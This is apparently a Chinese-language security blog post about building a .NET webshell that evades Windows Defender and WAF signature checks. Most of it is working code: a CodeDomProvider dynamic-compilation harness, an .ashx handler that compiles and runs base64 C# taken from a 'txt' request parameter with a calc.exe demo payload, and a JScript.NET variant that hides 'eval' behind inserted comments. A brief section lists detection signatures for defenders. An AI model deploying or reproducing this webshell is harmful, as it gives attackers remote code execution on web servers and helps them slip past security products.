
一、前言
目前主流的 Waf 或 Windows Defender 等終端防毒軟體、EDR 大多是從特徵碼進行偵測,在 .Net 和 VBS 下的一句話木馬中最常見的特徵是 eval,對於攻擊者來說需要避開這個系統關鍵字,可從反序列化方式避開 eval,但公開已久,相信許多安全產品已經能夠很好地檢測和阻斷這類攻擊請求。筆者從 .NET 內建的 CodeDomProvider 類下手,實現動態編譯 .NET 程式碼,指定 JScript 或 C# 作為編譯語言,編譯出的 WebShell 目前 Windows Defender 不會偵測。而防禦者可以從流量或終端辨識 "CodeDomProvider.CreateProvider、CreateInstance" 等特徵碼。
二、動態編譯
.Net 可透過編譯技術將外部輸入的字串作為程式碼執行,動態編譯技術提供了最核心的兩個類別 CodeDomProvider 和 CompilerParameters,前者相當於編譯器,後者相當於編譯器參數。CodeDomProvider 支援多種語言(如 C#、VB、JScript),編譯器參數 CompilerParameters.GenerateExecutable 預設表示產生 dll,GenerateInMemory = true 時表示在記憶體中載入,CompileAssemblyFromSource 表示組件的資料來源,再將編譯產生的結果產生組件供反射呼叫。最後透過 CreateInstance 實體化物件並反射呼叫自訂類別中的方法。
CodeDomProvider compiler = CodeDomProvider.CreateProvider("C#"); ; //編譯器
CompilerParameters comPara = new CompilerParameters(); //編譯器參數
comPara.ReferencedAssemblies.Add("System.dll"); //新增參考
comPara.GenerateExecutable = false; //產生exe
comPara.GenerateInMemory = true; //記憶體中
CompilerResults compilerResults = compiler.CompileAssemblyFromSource(comPara, SourceText(txt)); //編譯資料的來源
Assembly objAssembly = compilerResults.CompiledAssembly; //編譯成組件
object objInstance = objAssembly.CreateInstance("Neteye.NeteyeInput"); //建立物件
MethodInfo objMifo = objInstance.GetType().GetMethod("OutPut"); //反射呼叫方法
var result = objMifo.Invoke(objInstance, null);
三、落地實作
上述程式碼裡的 SourceText 方法需提供編譯的 C# 原始碼,筆者建立了 NeteyeInput 類別,如下:
public static string SourceText(string txt)
{
StringBuilder sb = new StringBuilder();
sb.Append("using System;");
sb.Append(Environment.NewLine);
sb.Append("namespace Neteye");
sb.Append(Environment.NewLine);
sb.Append("{");
sb.Append(Environment.NewLine);
sb.Append(" public class NeteyeInput");
sb.Append(Environment.NewLine);
sb.Append(" {");
sb.Append(Environment.NewLine);
sb.Append(" public void OutPut()");
sb.Append(Environment.NewLine);
sb.Append(" {");
sb.Append(Environment.NewLine);
sb.Append(Encoding.GetEncoding("UTF-8").GetString(Convert.FromBase64String(txt)));
sb.Append(Environment.NewLine);
sb.Append(" }");
sb.Append(Environment.NewLine);
sb.Append(" }");
sb.Append(Environment.NewLine);
sb.Append("}");
string code = sb.ToString();
return code;
}
類別裡宣告了 OutPut 方法,該方法裡透過 Base64 解碼得到輸入的原生字串。筆者在這裡以計算機作為展示,將 "System.Diagnostics.Process.Start("cmd.exe","/c calc");" 編碼為:
U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MuU3RhcnQoImNtZC5leGUiLCIvYyBjYWxjIik7
最後在一般處理程序 ProcessRequest 方法中呼叫:
public void ProcessRequest(HttpContext context)
{
context.Response.ContentType = "text/plain";
if (!string.IsNullOrEmpty(context.Request["txt"]))
{
DynamicCodeExecute(context.Request["txt"]); //start calc: U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MuU3RhcnQoImNtZC5leGUiLCIvYyBjYWxjIik7
context.Response.Write("Execute Status: Success!");
}
else
{
context.Response.Write("Just For Fun, Please Input txt!");
}
}

四、其他方法
JScript.Net 動態編譯拆解 eval
在 .NET 安全領域中,一句話木馬主流的都是交給 eval 關鍵字執行,而許多安全產品都會對此重點偵測,所以筆者需要避開 eval。而在 .NET 中 eval 只存在於 JScript.Net,因此需要將動態編譯器指定為 JScript,其餘和 C# 版本的動態編譯大致相同。筆者透過插入無關字元將 eval 拆解掉,程式碼如下:
private static readonly string _jscriptClassText =
@"import System;
class JScriptRun
{
public static function RunExp(expression : String) : String
{
return e/*@Ivan1ee@*/v/*@Ivan1ee@*/a/*@Ivan1ee@*/l(expression);
}
}";
只需在編譯時替換掉無關字串 "/*@Ivan1ee@*/",最後編譯後反射執行目標方法。
CompilerResults results = compiler.CompileAssemblyFromSource(parameters, _jscriptClassText.Replace("/*@Ivan1ee@*/",""));
五、防禦措施
一般 Web 應用使用場景不多,檢測特徵碼:CodeDomProvider.CreateProvider、CreateInstance 等等,一旦告警需格外關注;
由於編譯產生的組件以暫存檔儲存在硬碟,需加入對可寫目錄下 dll 檔案內容的監控;
文章涉及的程式碼已打包在: https://github.com/Ivan1ee/.NETWebShell